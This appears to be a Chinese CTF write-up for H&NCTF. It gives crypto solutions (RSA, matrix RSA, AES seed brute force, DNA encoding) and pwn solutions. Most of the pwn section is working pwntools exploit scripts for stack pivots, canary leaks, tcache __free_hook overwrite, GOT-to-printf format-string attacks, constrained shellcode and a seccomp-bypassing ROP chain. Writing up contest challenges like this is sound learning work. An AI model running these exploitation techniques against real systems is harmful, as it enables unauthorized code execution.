周日的比赛,赛后拿别人的WP又作了俩,最后一个题也是没弄懂,先记一下吧。
Crypto
EZmath
一个简单的函数题。在sagemath里有个two_squares函数,可以从平方和恢复两个规模相近的数。这种比较适合于RSA里的p,q。另外未知的e用来猜,一点意思都没有。
from Crypto.Util.number import *
flag = b'Kicky_Mu{KFC_v_me_50!!!}'
p = getPrime(256)
q = getPrime(256)
n = p*q^3
e = # what is usually used ?
N = pow(p, 2) + pow(q, 2)
m = bytes_to_long(flag)
c = pow(m,e,n)
print(c)
print(N)
c = 34992437145329058006346797890363070594973075282993832268508442432592383794878795192132088668900695623924153165395583430068203662437982480669703879475321408183026259569199414707773374072930515794134567251046302713509056391105776219609788157691337060835717732824405538669820477381441348146561989805141829340641
N = 14131431108308143454435007577716000559419205062698618708133959457011972529354493686093109431184291126255192573090925119389094648901918393503865225710648658
e = 65537
p,q = two_squares(N)
m = pow(c, inverse(e,(p-1)*(q-1)),p*q)
long_to_bytes(int(m))
#b'H&NCTF{D0_Y0u_know_Complex_n3mbers?hahaha}'
f = (? * ?)
给了3个文件,一个cipher.txt猜是密文(这也不用猜)另外两个都有400多行,猜是p,q的位,显然可以很容易区分0,1。然后再猜个e。为什么总让猜e?
from Crypto.Util.number import *
from base64 import *
c = bytes_to_long(b64decode('ve9MPTSrRrq89z+I5EMXZg1uBvHoFWBGuzxhSpIwu9XMxE4H2f2O3l+VBt4wR+MmPJlS9axvH9dCn1KqFUgOIzf4gbMq0MPtRRp+PvfUZWGrJLpxcTjsdml2SS5+My4NIY/VbvqgeH2qVA=='))
p = int(''.join(['1' if i[0]=='3' else '0' for i in open('file1.txt','r').read().split('\n') ]),2)
q = int(''.join(['1' if i[0]=='6' else '0' for i in open('file2.txt','r').read().split('\n') ]),2)
print(isPrime(p))
m = pow(c, inverse(65537,(p-1)*(q-1)),p*q)
print(long_to_bytes(m))
#H&NCTF{Y0u_s@cce3d3d_in_finding_the_meaning_0f_these_d0cuments}
*ez_Classic
比赛中没作出来,全是中文的乱码,记得作过想不起来了,后来想起来是base65536,解完是另一种乱码。
后来知道是base2048,好在都有在线网站。说起来这个东西python库还会报错。
后边是DNA加密,不过在线网站也不大灵了。需要处理一下。其实还不如自己处理,DNA就是4进制的BASE64变表,3个一组。
c ="GAC & GCT CTA GTC CTT { CTA AGT AAA CAG CAG AGA AAG & AGT _ AAG CAC CGA ATT CAT TTC _ AGT CAG _ CAG TTC _ AGA ATC CAT TCG CAC ACA CAG CAT @ ATC ACG }"
dic = 'ACGT'
d = ''
for i in c.split():
if len(i)==3:
v = dic.index(i[0])*16 + dic.index(i[1])*4 + dic.index(i[2])
if v<26:
d += chr(0x61 + v)
elif v<52:
d += chr(0x41 + v-26)
else:
d += chr(0x30 + v-52)
else:
d += i
print(d)
#H&NCTF{Classic&l_crypt9_ls_s9_int2rest@ng}
MatrixRSA
矩阵的RSA,这个没见过,搜了下,得到一个论文。https://www.gcsu.edu/sites/files/page-assets/node-808/attachments/pangia.pdf
里边请到phi的生成。
然后就当是普通的RSA作就行了。n很小一切问题都解决了。
from Crypto.Util.number import *
import os
flag = b"H&NCTF{??????????????}" + os.urandom(73)
p = getPrime(56)
q = getPrime(56)
n = p * q
part = [bytes_to_long(flag[13*i:13*(i+1)]) for i in range(9)]
M = Matrix(Zmod(n),[
[part[3*i+j] for j in range(3)] for i in range(3)
])
e = 65537
C = M ** e
print(f"n = {n}")
print(f"C = {list(C)}")
n = 3923490775575970082729688460890203
C = [(1419745904325460721019899475870191, 2134514837568225691829001907289833, 3332081654357483038861367332497335), (3254631729141395759002362491926143, 3250208857960841513899196820302274, 1434051158630647158098636495711534), (2819200914668344580736577444355697, 2521674659019518795372093086263363, 2850623959410175705367927817534010)]
#https://www.gcsu.edu/sites/files/page-assets/node-808/attachments/pangia.pdf
p,q = 56891773340056609,68964114585148667
phi = (p^2-1)*(p^2-p)*(q^2-1)*(q^2-q)
d = inverse(e,phi)
M = matrix(Zmod(n), C)
m = M^d
flag = b''
for i in range(3):
for j in range(3):
flag+= long_to_bytes(int(m[i,j]))
#H&NCTF{58bff5c1-4d5f-4010-a84c-8fbe0c0f50e8}
BabyAES
就是爆破一个种子。对于4字节整形来说多大都可以整。关键是这题有提示,就是压缩包有文件的时期,这大概就没多大范围了。不过这里又有个问题,就是压缩包里的文件时间比密文生成时间早。它怎么压进去的呢?
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from secret import flag
import time
import random
flag = pad(flag,16)
assert b"H&NCTF" in flag
seed = int(time.time())
random.seed(seed)
key = random.randbytes(16)
iv = random.randbytes(16)
aes = AES.new(key,AES.MODE_CBC,iv)
cipher = aes.encrypt(flag)
print(f"cipher = {cipher}")
cipher = b'\x96H_hz\xe7)\x0c\x15\x91c\x9bt\xa4\xe5\xacwch\x92e\xd1\x0c\x9f\x8fH\x05\x9f\x1d\x92\x81\xcc\xe0\x98\x8b\xda\x89\xcf\x92\x01a\xe1B\xfb\x97\xdc\x0cG'
import random
from Crypto.Cipher import AES
def decrypt(seed):
random.seed(seed)
key = random.randbytes(16)
iv = random.randbytes(16)
aes = AES.new(key,AES.MODE_CBC,iv)
flag = aes.decrypt(cipher)
if b'CTF' in flag or b'flag' in flag:
print(seed, flag)
#time.mktime((2020,8,21,7,57,0,0,0,0)) 压缩包文件时间2020/08/21/7/57
seed0 = 1597967820
for i in range(10000):
decrypt(seed0+i)
#b'H&NCTF{b1c11bd5-2bfc-404e-a795-a08a002aeb87}\x04\x04\x04\x04'
BabyPQ
这是个签到,给了n,phin求p,突然卡了一下,phin是啥!一般写成phi.把这俩p,q粘上去就OK了。
from z3 import *
s = Solver()
p,q = Ints('p q')
s.add(p*q == n)
s.add((p-1)*(q-1) == phin)
s.check()
s.model()
[p = 12370845391995175823157683147097330251170029016368566631878046736457097428499577053796506306362132716974919832972869704679166006275456266374842381146018047,
q = 11499958845050907949092531453369314187038648586725679612623212725700789220246787356177904738256529698491399380706600388366483468308822299193842842035815201]
还有一个3解题,两个0解题不会。估计也就不会了。因为拿到WP,那个3解题看不懂。
PWN
close
这个程序不用写的。代码里关了1,只要重定向到0上就OK
└─$ nc hnctf.imxbt.cn 29879
exec 1>&0
ls
bin
dev
easypwn
flag
lib
lib32
lib64
libexec
libx32
cat flag
H-NCTF{ca2cb422-3035-4827-b1e8-2acf3b43ea27}
ez_pwn
32位能溢出到ebp ,输入两次。
int vul()
{
char s[40]; // [esp+0h] [ebp-2Ch] BYREF
memset(s, 0, 0x20u);
read(0, s, 0x30u);
printf("Hello, %s\n", s);
read(0, s, 0x30u);
return printf("Hello, %s\n", s);
}
第1次填充到ebp带出,第2次覆盖ebp移栈。
from pwn import *
context(arch='i386', log_level='debug')
'''
0xffffcf94│+0x0000: 0x00000000 ← $esp
0xffffcf98│+0x0004: 0xffffcfa0 → 0x00000a41 ("A\n"?)
0xffffcf9c│+0x0008: 0x00000030 ("0"?)
0xffffcfa0│+0x000c: 0x00000a41 ("A\n"?)
0xffffcfa4│+0x0010: 0x00000000
0xffffcfa8│+0x0014: 0x00000000
0xffffcfac│+0x0018: 0x00000000
0xffffcfb0│+0x001c: 0x00000000
0xffffcfb4│+0x0020: 0x00000000
0xffffcfb8│+0x0024: 0x00000000
0xffffcfbc│+0x0028: 0x00000000
0xffffcfc0│+0x002c: 0x08048670 → <__libc_csu_init+0> push ebp
0xffffcfc4│+0x0030: 0xf7ffcb80 → 0x00000000
0xffffcfc8│+0x0034: 0x0804a000 → 0x08049f0c → 0x00000001
0xffffcfcc│+0x0038: 0xffffcfd8 → 0x00000000 ← $ebp
0xffffcfd0│+0x003c: 0x08048661 → <main+40> mov eax, 0x0
0xffffcfd4│+0x0040: 0xf7e1cff4 → 0x0021cd8c
0xffffcfd8│+0x0044: 0x00000000
0xffffcfdc│+0x0048: 0xf7c23295 → <__libc_start_call_main+117> add esp, 0x10
0xffffcfe0│+0x004c: 0x00000001
'''
elf = ELF('./pwn1')
#p = process('./pwn1')
p = remote('hnctf.imxbt.cn', 36897)
#gdb.attach(p, "b*0x8048637\nc")
p.sendafter(b'?\n', b'A'*0x2c)
p.recvuntil(b'A'*0x2c)
stack = u32(p.recv(4)) - 0x38
p.sendafter(b'\n', flat(elf.plt['system'],0,stack+0xc, b'/bin/sh\x00').ljust(0x2c,b'\x00')+p32(stack-4))
p.interactive()
idea
负数绕过和短的格式化字符串
int vuln()
{
int v1; // [esp+8h] [ebp-30h]
char nptr[32]; // [esp+Ch] [ebp-2Ch] BYREF
unsigned int v3; // [esp+2Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
printf("How many bytes do you want me to read? ");
get_n((int)nptr, 4u);
v1 = atoi(nptr);
if ( v1 > 32 )
return printf("No! That size (%d) is too large!\n", v1);// 负数绕过
puts("Ok, sounds good. I'll give u a gift!");
gift(); // 格式化字符串6字节
printf("Give me %u bytes of data!\n", v1);
getchar();
get_n((int)nptr, v1);
return printf("What you said is: %s\n", nptr);
}
from pwn import *
context(arch='i386', log_level='debug')
elf = ELF('./idea')
#libc = ELF('/home/kali/glibc/libs/2.23-0ubuntu11.3_i386/libc-2.23.so')
libc = ELF('/home/kali/glibc/libs/my/libc6-i386_2.23-0ubuntu11.3_amd64.so')
#p = process('./idea')
p = remote('hnctf.imxbt.cn', 45299)
#1
p.sendlineafter(b"How many bytes do you want me to read? ", b'-1')
#leak canary
p.sendlineafter(b"Ok, sounds good. I'll give u a gift!\n",b'%23$p')
canary = int(p.recvuntil(b"Give me", drop=True),16)
print(f"{canary= :x}")
p.sendlineafter(b"bytes of data!\n", b'A'*0x20+flat(canary,0,0,0,elf.sym['_start']))
#2
p.sendlineafter(b"How many bytes do you want me to read? ", b'-1')
#gdb.attach(p, "b*0x804870b\nc")
#leak libc
p.sendlineafter(b"Ok, sounds good. I'll give u a gift!\n",b'%31$p')
libc.address = int(p.recvuntil(b"Give me", drop=True),16) - 0x18647
print(f"{libc.address = :x}")
bin_sh = next(libc.search(b'/bin/sh\0')) #libc.address + 0x15910b
p.sendlineafter(b"bytes of data!\n", b'A'*0x20+flat(canary,0,0,0,elf.sym['_start']))
#3 stack
p.sendlineafter(b"How many bytes do you want me to read? ", b'-1')
#leak canary
#gdb.attach(p, "b*0x804870b\nc")
p.sendlineafter(b"Ok, sounds good. I'll give u a gift!\n",b'%10$p')
stack = int(p.recvuntil(b"Give me", drop=True),16) - 0x2c
print(f"{stack = :x}")
#gdb.attach(p, "b*0x804870b\nc")
#p.sendlineafter(b"bytes of data!\n", b'A'*0x20+flat(canary,0,0,0,elf.plt['puts'],0,elf.got['printf']))
p.sendlineafter(b"bytes of data!\n", b'/bin/sh'.ljust(0x20, b'\x00')+flat(canary,0,0,0,libc.sym['system'],0,bin_sh))
p.interactive()
'''
0xffffcf60│+0x0000: 0x08048800 → <__libc_csu_init+0> push ebp ← $esp
0xffffcf64│+0x0004: "%8$p"
0xffffcf68│+0x0008: 0xffffcf00 → 0x00000000
0xffffcf6c│+0x000c: 0xf945c100
0xffffcf70│+0x0010: 0x080488e4 → "Ok, sounds good. I'll give u a gift!" #4
0xffffcf74│+0x0014: 0x00000004
0xffffcf78│+0x0018: 0xffffcfb8 → 0xffffcfc8 → 0x00000000 ← $ebp #ebp
0xffffcf7c│+0x001c: 0x08048781 → <vuln+116> sub esp, 0x8 #ret
0xffffcf80│+0x0020: 0xffffcfb8 → 0xffffcfc8 → 0x00000000
0xffffcf84│+0x0024: 0xf7fdb8d0 → <_dl_runtime_resolve+16> pop edx
0xffffcf88│+0x0028: 0xffffffff
0xffffcf8c│+0x002c: 0xf700312d ("-1"?) #nptr
0xffffcf90│+0x0030: 0x08048800 → <__libc_csu_init+0> push ebp
0xffffcf94│+0x0034: 0xf7ffcb80 → 0x00000000
0xffffcf98│+0x0038: 0xffffcfb8 → 0xffffcfc8 → 0x00000000
0xffffcf9c│+0x003c: 0x080486b2 → <init+59> add esp, 0x10
0xffffcfa0│+0x0040: 0x08048880 → "Welcome to H&NCTF~!"
0xffffcfa4│+0x0044: 0x00000000
0xffffcfa8│+0x0048: 0x00000001
0xffffcfac│+0x004c: 0xf945c100 #canary
0xffffcfb0│+0x0050: 0xffffcff0 → 0xf7e1cff4 → 0x0021cd8c
0xffffcfb4│+0x0054: 0xf7fc1728 → 0xf7ffdbac → 0xf7fc1840 → 0xf7ffda40 → 0x00000000
0xffffcfb8│+0x0058: 0xffffcfc8 → 0x00000000
0xffffcfbc│+0x005c: 0x080487ee → <main+27> add esp, 0x4 #main_ret
0xffffcfc0│+0x0060: 0x00000001
0xffffcfc4│+0x0064: 0xffffcfe0 → 0x00000001
0xffffcfc8│+0x0068: 0x00000000
0xffffcfcc│+0x006c: 0xf7c23295 → <__libc_start_call_main+117> add esp, 0x10
'''
what
这也不是个难题,之所以答的人少是因为卡在flag和后台的不一样,然后提供了3种壳,都不是。后来提示改了。官方手抖,在头上输入了个\
libc-2.27 是个最受欢迎的版本。漏洞最好打了,还有UAF。先free 8块得到libc然后tcache attack向free_hook写system再free带/bin/sh的块。
唯一的卡点是个计数。可以忽略。
from pwn import *
context(arch='amd64', log_level='debug')
libc = ELF('./libc-2.27.so')
cmd = "Enter your command:\n"
def add(size):
p.sendlineafter(cmd, b'1')
p.sendlineafter(b"size:\n", str(size).encode())
def free():
p.sendlineafter(cmd, b'2')
def show(idx):
p.sendlineafter(cmd, b'3')
p.sendafter(b"please enter idx:\n", str(idx).encode())
p.recvuntil(b"Content:")
def edit(idx, msg):
p.sendlineafter(cmd, b'4')
p.sendafter(b"please enter idx:\n", str(idx).encode())
p.sendafter(b"Please enter your content:\n", msg)
#p = process('./what')
p = remote('hnctf.imxbt.cn', 21554)
for i in range(8):
add(0x100)
for i in range(8):
free()
show(0)
libc.address = u64(p.recv(6).ljust(8,b'\x00')) - 0x70 - libc.sym['__malloc_hook']
print(f"{libc.address = :x}")
for i in range(2):
add(0x20)
free()
edit(1, p64(libc.sym['__free_hook']))
add(0x20)
add(0x20) #2 free_hook
edit(2, flat(libc.sym['system']))
add(0x10)
edit(3, b'/bin/sh\x00')
#gdb.attach(p)
#pause()
free()
p.sendline(b'cat flag')
p.interactive()
#H&NCTF{ef997eaf-df1d-4aed-af33-f57b8afbe678}
beauty
代码很难看。这也是这题唯一的卡点。
一开始让输入名字,这里有个指针前溢出,可以向前写到可写的got表
int sub_156E()
{
puts("Please input your idx:");
__isoc99_scanf(&aD, &dword_4164);
puts("Please input your name:");
byte_4158[dword_4164] = read(0, byte_40E0, 0x78uLL);
return printf(&aS, byte_40E0);
}
后边有4个菜单,只有一个有用。这里调用了atoi,通过前边的溢出将未初始化的got表里的atoi改成printf,这样就得到一个格式化字符串漏洞,而且在栈里。这就好办了。
另外一个干扰项就是菜单3有个溢出,可以修改stack_chk_fail在这里造溢出覆盖canary,但由于有检查到不了这。
from pwn import *
context(arch='amd64', log_level='error')
libc = ELF('./libc.so.6')
elf = ELF('./pwn1')
#p = process('./pwn1')
p = remote('hnctf.imxbt.cn', 46327)
#4158[4164]=len
#4060 got.atoi xxx60->printf xxx70
p.sendlineafter(b"Please input your idx:", str(-0xf8).encode())
p.sendafter(b"Please input your name:", b'\x00'*0x70)
def go_printf(pay):
p.sendlineafter(b'\x99\xe5\xa5\xb3\n', b'4')
p.recvuntil(b"Would you choose me if you had to do it all over again?\n")
p.sendline(str(0x79).encode())
p.sendline(str(0x165).encode())
p.sendline(str(0x173).encode())
p.send(pay.ljust(0x20, b'\x00'))
#gdb.attach(p, "b*0x555555555361\nc")
go_printf(b'%11$p,%43$p,%30$p,%13$p,')
p.recvuntil(b'0x')
canary = int(p.recvuntil(b',', drop=True),16)
libc.address = int(p.recvuntil(b',', drop=True),16) - 0x80 - libc.sym['__libc_start_main']
stack = int(p.recvuntil(b',', drop=True),16) - 0x110
elf.address = int(p.recvuntil(b',', drop=True),16) - 0x18b2
print(f"{canary = :x} {libc.address =:x} {stack = :x} {elf.address =:x}")
pop_rdi = libc.address + 0x000000000002a3e5 # pop rdi ; ret
rop = flat(pop_rdi+1, pop_rdi, next(libc.search(b'/bin/sh\0')), libc.sym['system'])
for i,v in enumerate(rop):
if v == 0:
pay = b"%9$hhn".ljust(0x18,b'.') + p64(stack+i)
else:
pay = f"%{v}c%9$hhn".encode().ljust(0x18,b'.') + p64(stack+i)
go_printf(pay)
#jmp_2_return
context.log_level = 'debug'
pay = b'....%9$n'.ljust(0x18,b'.') + p64(elf.address + 0x4160)
go_printf(pay)
p.sendline(b'cat flag')
p.interactive()
*hide_flag_
这题赛后问师傅,说打call。
是个shellcode题,难点在于检查一定要偶奇偶奇。syscall 0f05就用不上了,好在有call rax,call rcx。
然后原理就简单了,只是作起来麻烦。在没看WP的情况下自己终于弄出来了。再看WP发再方法不很聪明。
1,利用栈残留的数据通过加减行在rax造个open/getdents64/write然后是重来造个open/pread64/write
2,运行完一个call后最后的地址会在rcx里
3,偶数和可数的填充用nop,gs,我用的cmp就是长点,好在容易理解,还有个cdq这会破坏rdx,如果在rdx不用的情况下可行。因为不清楚gs是干什么的,不敢用,类似的cmc,cld还有好多都不敢用。
4,shl rax,7;xchg rax,rcx;sub rax,rcx 也是一种造指针的方法
from pwn import *
context(arch='amd64', log_level='debug')
libc = ELF('./libc.so.6')
#p = process('./pwn1')
p = remote('hnctf.imxbt.cn', 43649)
'''
pay = ''
#rax + 0xea750
pay += 'pop rax;pop rcx;pop rax;pop rcx; pop rax; pop rcx;' #rax = 0x00007ffff7c29d90
pay += 'add rax,0x010ea76e; sub rax,0x01000100; add rax,0x71; add rax,0x73; ' #rax + 0xf4d10
pay += 'sub al,0x1; sub al,0x1;' #rax = open
pay += 'push 0x2f; push rsp; pop rdi; ' #rdi->.
pay += 'xor rsi,rsi; cmp eax,0x33323130; push rdx; ' #rsi = 0
#open(buf,0)
pay += 'call rax;' #call rax
#getdents64(int fd, void dirp[.count], size_t count)
pay += 'push rcx; push rax; pop rdi; ' #rdi=3
#rax = rcx - 0x2df0b
pay += 'pop rax; cmp eax,0x33323130; sub rax,0x0102df0a; add rax,0x01000100; sub rax, 0x71;sub rax, 0x71; sub al,0x1f;'
pay += 'push rax;push rbp;pop rsi;cdq;'
pay += 'push 0x3; pop rax;cdq; shl rax,9; push rax; cdq; pop rdx; cmp eax,0x33323130; push rdx;' #rdx = 0x600
pay += 'xchg rax,r14; cmp eax,0x33323130; add ax, 0x0302; push rax; cmp eax,0x33323130; pop rsi;pop rbx;'
pay += 'pop rax; call rax; cmp eax,0x33323130; '
#write
pay += 'push 0x1; nop; pop rdi;' #rdi=1
#rax = rcx+0x2e229
pay += 'xchg rax,rcx; add rax,0x0102e328; sub rax,0x01000100; add al,0x1;'
pay += 'nop; call rax;'
'''
#F1@g520
#open()
pay = ''
#rax + 0xea750
# 58 59 58 59 58 59
pay += 'pop rax;pop rcx;pop rax;pop rcx; pop rax; pop rcx;' #rax = 0x00007ffff7c29d90
# 4805 6ea70e01 482d 00010001 4883c071 4883c073
pay += 'add rax,0x010ea76e; sub rax,0x01000100; add rax,0x71; add rax,0x73; ' #rax + 0xf4d10
# 2c01 2c01 50 xx
pay += 'sub al,0x1; sub al,0x1; push rax;cmp eax,0x33323130;' #rax = open
# 48b9 4631 4067 3633 3001 6a01 58 3d 3031 3233 48c1e02d 48c1e003 4891 4829c8 xx
pay += 'mov rcx,0x0130333667403146; push 0x1;pop rax;cmp eax,0x33323130;shl rax,53;shl rax,3;xchg rax,rcx; sub rax,rcx;cmp eax,0x33323130;'
# 4891 6a01 58 3d 3031 3233 48c1e025 48c1e003 4891 4829c8
pay += 'xchg rax,rcx; push 0x1;pop rax;cmp eax,0x33323130;shl rax,37;shl rax,3;xchg rax,rcx; sub rax,rcx;cmp eax,0x33323130; '
pay += 'xchg rax,rcx; push 0x1;pop rax;cmp eax,0x33323130;shl rax,29;shl rax,3;xchg rax,rcx; sub rax,rcx;cmp eax,0x33323130; '
# 56 59 50 54 5f 4889f0 51
pay += 'pop rsi;pop rcx;push rax; cmp eax,0x33323130; push rsp; pop rdi; mov rax,rsi; push rcx;' #rdi->F1@g520\0
# 4831f6
pay += 'xor rsi,rsi;' #rsi = 0
# ffd0 open(buf,0)
pay += 'call rax;' #call rax
#pread rax = rcx - 0x1e0b
# 51 58 51 662d001f 4883c059
pay += 'push rcx;pop rax;push rcx; sub ax, 0x1f00;add rax,89;add rax,89; add rax,67;' #rax=pread64
# 6a03 90 5f 6a71 5a 53 90 59 90
pay += 'push 3; nop; pop rdi;push 0x71;pop rdx;push rbx; nop; pop rcx; nop;' #rdi=3, rdx=0x71
# ffd0 open(buf,0)
pay += 'call rax;' #call rax
#write rax = rcx+0x2126
# 51 58 51 662d2621
pay += 'push rcx;pop rax;push rcx; add ax, 0x2126;' #rax=pread64
# 6a01 90 5f 90
pay += 'push 1;nop;pop rdi;nop;'
# ffd0 open(buf,0)
pay += 'call rax;' #call rax
#gdb.attach(p, "b*0x5555555554a4\nc")
p.sendafter(b"Please find flag's name\n", asm(pay))
p.interactive()
#H-NCTF{H1D3F1@g_d3e9fa6f-5baf-4af6-8c2e-2b7650cd55fa}
*Rand_file_
这个也说不成复现,基本就是拿着WP抄的。因为中间重要的一段不明白。只能照葫芦画。
__int64 __fastcall main(int a1, char **a2, char **a3)
{
char v4; // [rsp+Bh] [rbp-25h]
int i; // [rsp+Ch] [rbp-24h]
__int64 ptr; // [rsp+10h] [rbp-20h] BYREF
__int64 v7; // [rsp+18h] [rbp-18h]
__int64 v8; // [rsp+20h] [rbp-10h]
unsigned __int64 v9; // [rsp+28h] [rbp-8h]
v9 = __readfsqword(0x28u);
setvbuf(stdout, 0LL, 1, 0LL);
set_rule();
while ( 1 )
{
write(1, "11? >\n", 6uLL);
v7 = read_long();
write(1, "77! >\n", 6uLL);
v8 = read_long();
if ( !v7 && !v8 )
break;
sub_1400(&ptr + v7, &ptr + v8);
}
ptr ^= __readfsqword(0x28u);
for ( i = 0; i <= 3; ++i ) // ptr逆序
{
v4 = *((_BYTE *)&ptr + i);
*((_BYTE *)&ptr + i) = *((_BYTE *)&ptr + 7LL - i);
*((_BYTE *)&ptr + 7LL - i) = v4;
}
fwrite(&ptr, 1uLL, 8uLL, stdout);
fflush(stdout);
write(1, "\n", 1uLL);
return 0LL;
}
代码就这么一点,先是允许两丙格互换,然后是把ptr的值与canary(特制的无0且对称)异或后反转输出。
目标就是构造个pop_rdi,xxx,gets。
看WP是通过写IO结构,因为不大明白就略了。
泄露这块很容易,拿偏移互换后就能输出,然后把libc_start_main_ret换回到start就能重入。
造gets,pop_rdi这块略,在栈里找个尾号为a或2的位置,把gets的值改造一下写,再与IO_2_1_stdout_+0x28的值换换就换到栈里了,原理不明白。
然后在栈里构造个pop_rdi,栈里可写地址(WP里叫bss不是实际在栈里),gets读入。再把这些rop换到当前的返回地址。再重入
读入的ROP移到返回地址这执行。由于seccomp有限制这里用openat绕过open,用close(2)关掉错误输出把文件打开到2,然后读目录得到文件名。再用相同方法读文件即可。
from pwn import *
context(arch='amd64', log_level='error')
libc = ELF('./libc.so.6')
elf = ELF('./pwn1')
stack_ptr = 0
off = 0xe0
canary = 0
misal = 0
lastm = 0
def swap(idx1,idx2):
p.sendlineafter(b'11? >\n', str(idx1).encode())
p.sendlineafter(b'77! >\n', str(idx2).encode())
def stop():
global stack_ptr
swap(0,0)
stack_ptr -= off
def leak(idx, idx2=0):
swap(5,12) #swap 5,12 return to start
swap(idx, idx2)
stop()
return canary^u64(p.recv(8)[::-1])
def change(addr):
addr = ((addr>>8)&0xff)|((addr&0xff)<<8)
addr^= canary&0xffff
addr = 0x10000 - addr
print(f"{-addr = :x}")
return -addr
#find an address where last 4bit is 2/10 in stack from *environ
def get_misal():
global lastm
for i in range(0x40):
a = leak((stack_environ - stack_ptr)//8 + lastm + i)
if a&0xf == 2 or a&0xf == 0xa:
leak((heap - stack_ptr)//8,0)
leak((heap - stack_ptr)//8, (stack_environ - stack_ptr)//8 )
if i>0:
lastm += i+1
return a
else:
print('Error')
exit()
#p = process('./run')
p = remote('hnctf.imxbt.cn', 20458)
canary = leak(4)
libc.address = leak(12) - 243 - libc.sym['__libc_start_main']
stack_ptr = leak(7) - 0x118 - off
stack_environ = leak((libc.sym['environ'] - stack_ptr)//8)
heap = leak((libc.sym['obstack_exit_failure']-0x28 - stack_ptr)//8) + 0x2620 #mp_.heap_base chunk_411.fd
print(f"{canary = :x} {libc.address = :x} {stack_ptr = :x} {stack_environ = :x} {heap = :x}")
stdout_write_ptr = libc.sym['_IO_2_1_stdout_'] + 0x28
fun_gets = libc.sym['gets'] # 0x7ffff7e38970
pop_rdi = libc.address + 0x00000000000820ac # 0x7ffff7e370ac pop rdi ; ret
pop_rsi = libc.address + 0x000000000002601f # pop rsi ; ret
pop_rdx = libc.address + 0x0000000000119431 # pop rdx ; pop r12 ; ret
pop_rax = libc.address + 0x0000000000036174 # pop rax ; ret
syscall = libc.sym['getpid'] + 9 # syscall ret
#write gadget to stack
misal = get_misal()
print(f"{misal = :x}")
swap(2, change(fun_gets))
swap(0, change(fun_gets))
swap((misal - 2 - stack_ptr + 8) // 8, 21)
swap((stack_environ - stack_ptr) // 8, (stdout_write_ptr - stack_ptr) // 8)
swap(5, 12)
stop()
off_gets = misal + 6
print(f"{off_gets = :x}")
misal = get_misal()
print(f"{misal = :x}")
swap(2, change(pop_rdi))
swap(0, change(pop_rdi))
swap((misal - 2 - stack_ptr + 8) // 8, 21)
swap((stack_environ - stack_ptr) // 8, (stdout_write_ptr - stack_ptr) // 8)
swap(5, 12)
stop()
off_pop_rdi = misal + 6
print(f"{off_pop_rdi = :x}")
bss = leak(13) #stack write payload
leak(0, (heap - stack_ptr)//8)
leak((stack_environ - stack_ptr)//8, (heap - stack_ptr)//8 )
context.log_level = 'debug'
print(f"{off_gets = :x} {off_pop_rdi = :x} {stack_environ = :x} {bss = :x}")
#ROP gets
swap(5, (off_pop_rdi - stack_ptr)//8)
swap(6, (stack_environ - stack_ptr)//8)
swap(7, (off_gets - stack_ptr)//8)
swap(8,12)
stop()
#get_rop readdir
'''
paylen = 0xf0
pay = flat([
pop_rdi,2, pop_rax,3, syscall, #close(2)
pop_rdi,0, pop_rsi, bss+paylen, pop_rdx,0x10000,0, pop_rax,257, syscall, #openat(0,&'.',0x10000)
pop_rdi,2, pop_rsi, bss+paylen, pop_rdx,0x1000,0, pop_rax,78, syscall, #getdents64(2,&'.', 0x400)
pop_rdi,1, pop_rax,1, syscall, #write(1,&'.', 0x400)
])
print(f"{len(pay) = :x}")
pay += b'/tmp\0'
'''
paylen = 0xf0
pay = flat([
pop_rdi,2, pop_rax,3, syscall, #close(2)
pop_rdi,0, pop_rsi, bss+paylen, pop_rdx,0,0, pop_rax,257, syscall, #openat(0,&'.',0x10000)
pop_rdi,2, pop_rsi, bss+paylen, pop_rdx,0x50,0, pop_rax,0, syscall, #read(2,&'.', 0x400)
pop_rdi,1, pop_rax,1, syscall, #write(1,&'.', 0x400)
])
print(f"{len(pay) = :x}")
pay += b'/tmp/flag_6f36aa6e9fe2a6c582bb4d43bca8563a\0'
p.sendline(pay) #read payload->bss
#gdb.attach(p, "b*0x5555555556e0\nc")
stack_ptr += 0x20 #pop_rdi,bss,gets,start
for i in range(paylen//8):
swap(5+i, (bss - stack_ptr)//8 +i)
stop()
p.interactive()
#H-NCTF{randfile_1b1f0634-7252-4534-a238-4e5a74042989}
'''
gef➤ tel 20
0x00007fffffffddd0│+0x0000: 0x00007ffff7fa62e8 ← $rsp
0x00007fffffffddd8│+0x0008: 0x00005555555556f0
0x00007fffffffdde0│+0x0010: 0x0000000000000000 <- ptr
0x00007fffffffdde8│+0x0018: 0x0000555555555200 1
0x00007fffffffddf0│+0x0020: 0x00007fffffffdef0 2
0x00007fffffffddf8│+0x0028: 0xef4e4b9a9a4b4eef 3 canary ABCDDCBA
0x00007fffffffde00│+0x0030: 0x0000000000000000 ← 4 $rbp
0x00007fffffffde08│+0x0038: 0x00007ffff7dd9083 → <__libc_start_main+243> mov edi, eax #5
0x00007fffffffde10│+0x0040: 0x00007ffff7ffc620 6
0x00007fffffffde18│+0x0048: 0x00007fffffffdef8 7
0x00007fffffffde20│+0x0050: 0x0000000100000000
0x00007fffffffde28│+0x0058: 0x000055555555553c → endbr64
0x00007fffffffde30│+0x0060: 0x00005555555556f0 → endbr64
0x00007fffffffde38│+0x0068: 0x6e0fbb38972b3d66
0x00007fffffffde40│+0x0070: 0x0000555555555200 #12 start
0x00007fffffffde48│+0x0078: 0x00007fffffffdef0 → 0x0000000000000001
0x00007fffffffde50│+0x0080: 0x0000000000000000
0x00007fffffffde58│+0x0088: 0x0000000000000000
0x00007fffffffde60│+0x0090: 0x91f044c72b0b3d66
0x00007fffffffde68│+0x0098: 0x91f05483b7453d66
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x0e 0xc000003e if (A != ARCH_X86_64) goto 0016
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x0b 0xffffffff if (A != 0xffffffff) goto 0016
0005: 0x15 0x02 0x00 0x00000002 if (A == open) goto 0008 openat
0006: 0x15 0x01 0x00 0x00000028 if (A == sendfile) goto 0008
0007: 0x15 0x00 0x01 0x0000003b if (A != execve) goto 0009
0008: 0x06 0x00 0x00 0x0005000d return ERRNO(13)
0009: 0x15 0x00 0x05 0x00000000 if (A != read) goto 0015 close(2);open();read(2,);write()
0010: 0x20 0x00 0x00 0x00000014 A = fd >> 32 # read(fd, buf, count)
0011: 0x25 0x04 0x00 0x00000000 if (A > 0x0) goto 0016
